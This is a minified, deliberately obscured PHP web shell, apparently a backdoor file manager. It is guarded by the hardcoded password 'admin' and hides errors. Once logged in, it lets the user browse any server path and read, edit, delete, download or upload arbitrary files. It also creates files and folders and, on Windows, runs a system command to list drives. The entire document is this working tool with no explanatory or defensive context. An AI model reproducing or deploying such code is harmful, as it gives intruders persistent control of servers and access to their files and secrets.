<?php error_reporting(0);session_start();define("password","admin");function X($o){return isset($o);}function Y($t){die($t);}function A($n){return X($_SESSION[$n])?$_SESSION[$n]:0;}function B($n,$v){$_SESSION[$n]=$v;}function C($n){return X($_POST[$n])?$_POST[$n]:0;}function D($n){return X($_GET[$n])?$_GET[$n]:0;}function E($t,$n,$v="",$s=""){return in_array($t,["text","password","submit","file"])?"<input type='$t' name='$n' value='$v' style='$s'/>":"<$t name='$n' style='$s'>$v</$t>";}function F($m,$i,$x=""){$f="<form method=$m enctype='$x'>";foreach($i as $k=>$v){$f.=E($k,is_array($v)?$v[0]:$v,X($v[1])?$v[1]:"",X($v[2])?$v[2]:"");}return $f."</form>";}function G($t,$b){$h="";foreach($t as $x){$h.="<th>$x</th>";}$d="";foreach($b as $r){$d.="<tr>";foreach($r as $z){$d.="<td>$z</td>";}$d.="</tr>";}return"<table><thead>$h</thead><tbody>$d</tbody></table>";}function H($l,$x,$t=""){return"<a href='$l' target='$t'>$x</a> ";}function I(){if(A("login")){return 1;}if(!C("login")){return 0;}if(C("pass")!=password){return 0;}B("login",1);return 1;}function J(){return D("path")?D("path"):__DIR__;}function K($b){$l=["B","K","M","G","T","P"];for($i=0;$b>=1024&&$i<count($l)-1;$b/=1024,$i++);return round($b,2)." ".$l[$i];}function L($p){return date("M d Y H:i:s",filemtime($p));}function M($d){if(!is_file($d)){return 0;}header("Content-Type: application/octet-stream");header("Content-Transfer-Encoding: Binary");header('Content-disposition: attachment;filename="'.basename($d).'"');return readfile($d);}function N($d){return is_file($d)?unlink($d):(is_dir($d)?rmdir($d):0);}function O($e){if(is_file($e)){return F("POST",["textarea"=>["edit",htmlentities(file_get_contents($e)),"width:100%;\nheight:90%",],"submit"=>["save","Save"],]);}return 0;}function P($p,$s){return is_file($p)?file_put_contents($p,html_entity_decode($s))!=false:0;}function Q($p){return is_file($p)?htmlentities(file_get_contents($p)):0;}function R($p,$n){return!is_file($p."/".$n)?file_put_contents($p."/".$n,"")!=false:0;}function S($p,$n){return!is_dir($p."/".$n)?mkdir($p."/".$n):0;}function T($p,$f){$n=basename($f["name"]);if(!is_file($p."/".$n)){if(move_uploaded_file($f["tmp_name"],$p."/".$n)){return 1;}}return 0;}function U($p){if($p==""||$p=="/"){return $p;}$p=explode("/",str_replace("\\","/",$p));array_pop($p);return implode("/",$p);}function V(){exec("wmic logicaldisk get caption",$c);$r="";foreach($c as $d){$r.=$d!="Caption"?H("?path=$d",$d):"";}return $r;}function W(){$x=J();if(!is_dir($x)){return 0;}$z=scandir($x);$k=[];$i=0;foreach($z as $d){if($d=="."||$d==".."){continue;}$p=$x."/".$d;$s="--";$j="&#128193;\n";$t=L($p);$l=H("?path=$p",$d);$v=substr(sprintf("%o",fileperms($p)),-4);$o=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($p))["name"]:fileowner($p);$c=(is_file($p)?H("?edit=$p","Edit","_blank"):"").H("?delete=$p","Delete","_blank").(is_file($p)?H("?download=$p","Download","_blank"):"");if(is_file($p)){$s=K(filesize($p));$j="&#128221;\n";}$k[]=[$j,$i,$l,$s,$t,$v,$o,$c];$i++;}return G(["#","id","Filename","Size","Modified","Perms","Owner",""],$k);}$l=F("POST",["p"=>["","Password:"],"password"=>["pass",""],"submit"=>["login","Login"],]);if(!I()){Y($l);}if(D("delete")){N(D("delete"))?Y("Deleted: ".D("delete")):Y("File not found");}if(D("edit")){if(C("save")){P(D("edit"),C("edit"));echo "Saved";}$e=O(D("edit"));$e?Y($e):Y("File not found");}if(D("download")){@readfile(M(D("download")));exit();}if(C("newfile")){R(J(),C("filename"))?Y("Create: ".C("filename")):Y("File exites");}if(C("newdir")){S(J(),C("dirname"))?Y("Create: ".C("dirname")):Y("Dir exites");}if(C("upload")){T(J(),$_FILES["file"])?Y("upload: ".$_FILES["file"]["name"]):Y("Upload Error");}echo "<body>".F("POST",["text"=>["filename","File Name"],"submit"=>["newfile","Create"],]).F("POST",["text"=>["dirname","Dir Name"],"submit"=>["newdir","Create"],]).F("POST",["file"=>"file","submit"=>["upload","Upload"]],"multipart/form-data").H("?path=".U(J()),"[Back]").(PHP_OS_FAMILY=="Windows"?V():"").(is_dir(J())?W():"<pre>".Q(J())."</pre>")."</body>";
